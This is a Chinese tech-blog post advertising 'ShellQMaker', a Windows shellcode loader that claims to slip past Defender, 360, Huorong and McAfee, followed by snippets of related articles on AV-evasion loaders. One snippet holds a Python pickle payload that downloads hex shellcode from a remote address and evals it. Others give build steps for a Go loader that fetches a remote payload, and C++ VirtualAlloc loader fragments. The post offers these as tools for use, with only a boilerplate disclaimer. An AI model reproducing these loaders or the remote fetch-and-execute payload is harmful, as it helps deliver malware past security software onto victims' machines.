【免杀工具】Windows通用免杀shellcode加载器

最新推荐文章于 2025-09-18 10:43:35 发布
原创 最新推荐文章于 2025-09-18 10:43:35 发布 · 1.9k 阅读 · 13 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#免杀工具 #免杀 #渗透测试 #信息安全 #网络安全

工具介绍

Windows通用免杀shellcode生成器，能够绕过Microsoft Defender、360、火绒、Panda等杀软的查杀

功能特点

运行环境：加载器模板通过QT实现使用C++开发，并由VS2022静态编译，目前只有一种加载模式，其他加载模式正在开发中

使用方法：使用vs2022打开项目解决方案(.sln)，然后进行编译即可，当然你也可以从realse下载项目

工程文件

本工具由ShellQMaker.exe和加载模板文件(loading.exe)组成。ShellQMaker.exe将不同的shellcode写入加载的模板文件(loading.exe)中，生成不同的可执行文件

使用方法

执行ShellQMaker查看帮助

获取payload.bin文件

ShellQMaker (你的shellcode) (生成的可执行文件)

最终生成的可执行免杀程序

查杀效果

​火绒：

Microsoft Defender

迈克菲

免责声明

本开源工具是由作者按照开源许可证发布的，仅供个人学习和研究使用。作者不对您使用该工具所产生的任何后果负任何法律责任

下载地址

点击下方名片进入公众号

回复关键字【240611】获取下载链接​

【护网必备】Windows平台shellcode免杀加载器
Fly_鹏程万里
06-14 1031
bypass：McAfee、金山（数字签名）、火绒、ESET、卡巴企业版（时间5s 抖动50 Sleep_mask）、360全家桶（物理机）、Norton（加白程序资源）、WDF（PC）、WDF（Server）、Symantec（加白程序资源）bypass：金山（数字签名）、火绒、ESET、360全家桶（物理机）、WDF（PC）、WDF（服务器提示复查（关云保护））、McAfee、Norton（加白程序资源）、卡巴企业版（时间5s 抖动50 Sleep_mask）必须使用Bof操作，shell运行就掉线。
python编写shellcode_python生成shellcode加载器
weixin_39763293的博客
12-19 599
import ctypes, cPickle, base64, urllib2class ptr(object):def __reduce__(self):return(eval, ("urllib2.urlopen('http://192.168.1.100/s2.txt').read().decode('hex')",))# base64class buf(object):def __init...
绕过AV：免杀shellcode加载器
03-04
旁路AV 条件触发式远控VT 6/70免杀国内杀软及后卫，卡巴斯基等主流杀软 原理 使用 将shellcode填至go_shellcode_encode.py生成重复后的base64有效负载然后将生成的payload填至main.go build（“ b64shellcode”）将main.go中的网址替换为您vbs的某个网页或文本（称为网页同样可以，但是需要程序可以正常使用时此网页需要可以访问）编译：go build -ldflags =“-w -s -H = windowsgui”
免杀如此简单！从零基础到精通，收藏这篇就够了！
最新发布
2302_76672693的博客
09-18 675
还在红蓝对抗里苦苦挣扎？免杀就像那 elusive 的独角兽，永远在远方召唤你？别慌！今天就给大家伙儿介绍一款的免杀神器——MaLoader，让你也能体验一把“”的快感！MaLoader这玩意儿可不是吃素的，它是一款基于打造的免杀马生成工具。目前战绩彪炳，，统统不在话下！简直是杀软界的“本文仅用于技术交流，请勿用于非法用途。如因操作不当导致“”的悲剧发生，本人概不负责！
记一次Go语言的学习--shellcode加载器免杀
jjjjj34的博客
04-24 3220
在网上搜了很多关于Go语言的免杀，我也是刚学几天，就做个学习对于GO语言做免杀的记录。
【免杀对抗】远程加载AES+XOR异或加密的ShellCode加载器 过国内杀软
qq_35942869的博客
03-28 2539
纯萌新，尝试一下免杀，最近也是查了很多资料，面向Github编程借鉴了很多大佬的代码。通过XOR异或加密后再进行AES加密，然后通过修改shellcode加载方式进行简单的免杀。
免杀工具 -- FourEye
Web安全工具库
01-12 7757
今天有一点想你，其实，不止一点，其实，不止今天。。。 ​----网易云热评 一、简介 快速生成免杀exe可执行文件，目前拥有三种免杀的方法 二、下载及安装 1、下载到本地 git clonehttps://github.com/lengjibo/FourEye.git 2、进入该文件夹 cd FourEye 3、安装需要的python库 pip install -r requirements.txt 三、使用方法 1、打开该软件 python3 Byp...
红队免杀样本编写——木马加载器通用套路
ubaichu的博客
09-20 1000
木马加载器的通用套路
免杀对抗—java&ASM&MSF源码特征修改&汇编调用CS&内联C
2301_76227305的博客
10-07 1212
基本常见的语言都讲了一遍了，其中提到的技术无论是哪种语言都是通用的，只要你可以把它写得出来。不难看出修改源码特征的免杀效果是比较好的，还有就是不公开或者自己写的shellcode加密脚本，总之无论是对shellcode修改还是加载器，亦或是源码的修改，最终的目的都只是去除后门的特征，逃过杀软。最后，以上仅为个人的拙见，如何有不对的地方，欢迎各位师傅指正与补充，有兴趣的师傅可以一起交流学习。
31、深入探索Ghidra加载器：构建简单Shellcode加载模块
tgb345678的博客
08-30 28
本文深入探讨了如何在Ghidra中构建一个简单的Shellcode加载器模块，帮助安全研究人员更高效地加载和分析Shellcode。文章详细介绍了Shellcode的基本概念、加载器的开发流程以及具体实现步骤，并通过测试验证了加载器的功能。此外，还分析了加载器的实际应用场景、与其他加载器的对比以及未来的发展方向。
正道：现代红队基础免杀心法：内存扫描与主动防御
UUniversity的博客
12-21 1245
本文章的目标受众是困惑的初入免杀/红队武器开发人员。最近当一些人们讨论免杀时，我看到他们只关心shell加载，使用像msf、Cobalt Strike、Winos 这样的框架等等，像他们这样的人确实喜欢认为免杀AV/EDR只是加载Shellcode代码，然后看到可能会得到一个信标或其他东西，然后就完事大吉了，其它什么都不做。其实这很不现实对不对，在获取立足点之后，通常来说，你必须采取进一定的步骤才能实现你的目标，你需要收集信息，你需要横向移动，你需要提取凭证。
免杀工具免杀工具免杀工具免杀工具
05-24
免杀工具免杀工具免杀工具免杀工具免杀工具免杀工具
NimShellCodeLoader：使用nim编写的shellcode加载器
02-03
NimShellCodeLoader Nim编写Windows平台shellcode免杀加载器 快速生成免杀毒性文件 更新： 20210123：增加三种加载shellcode方式，其中两种使用了库，需要安装该库才能正常编译 特点： 1：自带通常加载方式 2：可自行拓展加载方式 3：支持两种加密技术，分别位3des加密和凯撒密码，密钥随机，每次生成文件拥有不同的哈希 完全针对技术研究和获得正式授权的测试活动。 ##文件组成： bin中存放生成的重组文件 encryption存储加密代码文件 module中存放c ++功能文件 安装： 1，安装nim最新版 2，下载本项目，分别编译encryption中的Tdea.nim和Caesar.nim 。 nim c -d:release --opt:size Tdea.nim nim c -d:release --opt:size Caesar.nim 3，编译c＃项目，将初始化文件放到当前目录 使用方法： 1，打开生成器 2，将有效载荷到该窗口 3，选择加载方式，点击生成，还原文件会保存到bin文件夹中 拓展： 1，新建ni
免杀工具包
02-21
免杀工具包
免杀之浅谈shellcode加载器
qq_46217803的博客
12-26 2028
VirtualAlloc:申请一个虚拟地址的空间，可以说为虚拟空间到物理空间的映射，简单来说，在虚拟空间操作，物理空间就会自动的分配物理地址。可以直接在内存中运行，不需要一个完整的pe结构，简单来说，内存能执行就能运行，没有啥依赖的“生存环境”设置一个指针类型的，也可以是别的，这里设置成NULL，这样系统会自动的去分配一个空间区域。就是一个类型属性，主要是内存分配的类型属性，可以去百度的，这里设置了两个值，去了解一下。还是以上的shellcode，本地生成的，用的是Visual Studio。
shellcode加载器
goat_2003的博客
09-10 1821
编写shellcode不能使用绝对地址，因为当我们加载到其他函数中时绝对地址储存的可能什么也没有，甚至是其他函数，所以当我们需要调用一个函数时，需要动态获取函数的地址实现调用。 想要动态获取函数地址，可以使用以下函数 GetProcAddress 从dll中获取函数的地址 LoadLibraryA 将指定的模块加载到调用进程的地址空间中 举个例子： LPVOID lp = GetProcAddress(LoadLibraryA("user32.dll"),"MessageBoxA"); _asm {
探索Shellcode_Loader：一款高效、灵活的Shellcode加载器
gitblog_00002的博客
04-22 950
探索Shellcode_Loader：一款高效、灵活的Shellcode加载器 去发现同类优质开源项目:https://gitcode.com/ 在安全研究和逆向工程领域，Shellcode是一个关键元素，它是一段可以直接由处理器执行的小型机器码程序。然而，如何安全且有效地加载这些代码并不总是那么简单。这就是项目的用武之地。本文将带你深入了解这款工具的功能、技术实现及应用场景。 项目简介 Shel...
c++之shellcode加载器
qq_44657899的博客
05-26 4230
文章目录VirtualAlloc申请内存堆 VirtualAlloc申请内存 #include <windows.h> #include <iostream> #include <time.h> #pragma comment (lib, "winmm.lib") #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") void startShellCode() { unsi
最简单的加载器免杀思路
ordar123的博客
04-28 6075
本文首发于先知社区：https://xz.aliyun.com/t/9385 最简单的加载器免杀思路 将加载器的变量每次生成都要随机也就是变量混淆， 同时在每行之间插入无效指令：比如随机打印，循环打印，随机数计算加减乘除 这个思路的主要作用是加载器伪装。不管shellcode如果变化加密解密，最后都要回到这个模板里面加载。就算是采用分离免杀的方法，shellcode本身不会被杀，但是这个加载器会被杀，所以经过这样伪装之后加载器可以存活，为后面各种花里胡哨的的免杀奠定基础。 source.py是模板
编写通用的shellcode
01-05
### 编写通用Shellcode教程 编写通用Shellcode是一项复杂而敏感的任务，通常用于安全研究和渗透测试。为了确保Shellcode能够在不同环境中稳定运行，需考虑多种因素。 #### 1. Shellcode设计原则 - **平台独立性**：理想的Shellcode应能在多个操作系统版本上执行相同功能。 - **位置无关代码（PIC）**：由于加载地址不确定，Shellcode不应依赖固定内存位置。 - **避免坏字符**：某些字节可能会被过滤器拦截或破坏指令流，因此要避开这些特殊字符[^1]。 ```assembly ; Example of PIC assembly code avoiding null bytes and other bad characters section .text global _start _start: xor eax, eax ; Clear EAX register to avoid any initial values push eax ; Push a zero onto the stack as terminator for strings ; This also helps in creating position-independent code ``` #### 2. 获取API函数指针的方法 当调用Windows API时，直接硬编码导入表中的偏移量是不可取的做法，因为这会降低兼容性和可移植性。相反，可以通过遍历PE结构来动态解析所需函数的位置： - 使用`LoadLibraryA()`加载目标DLL； - 调用`GetProcAddress()`获取具体函数入口点； 这种方法虽然增加了实现难度，但却提高了灵活性和适应范围。 #### 3. 处理异常情况 如果检测到程序已被篡改，则可能需要采取额外措施以恢复正常操作流程或终止进程以防进一步损害。例如，在发现二进制文件损坏的情况下，可以尝试重新启动应用程序或将控制权转移给另一个实例[^2]。 #### 4. 利用已知模块基址构建可靠跳转序列 对于特定应用环境下的Shellcode开发而言，利用已加载的合法模块作为参照物是一种有效策略。通过Windbg等调试工具查询活动进程中各模块的实际映射区间，并据此规划后续逻辑走向能够显著提升成功率。比如针对BlazeDVD软件家族成员所占用的空间段落进行分析后得知其内部存在一段适合用来间接访问其他资源的关键路径[^3]。 ```nasm mov ecx, dword ptr ds:[esp+4] ; Assume ECX now holds base address like 0x64xxxxxx add ecx, offset_to_function_of_interest ; Calculate target function's VA based on module base jmp ecx ; Jump there directly without hardcoding absolute addresses ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值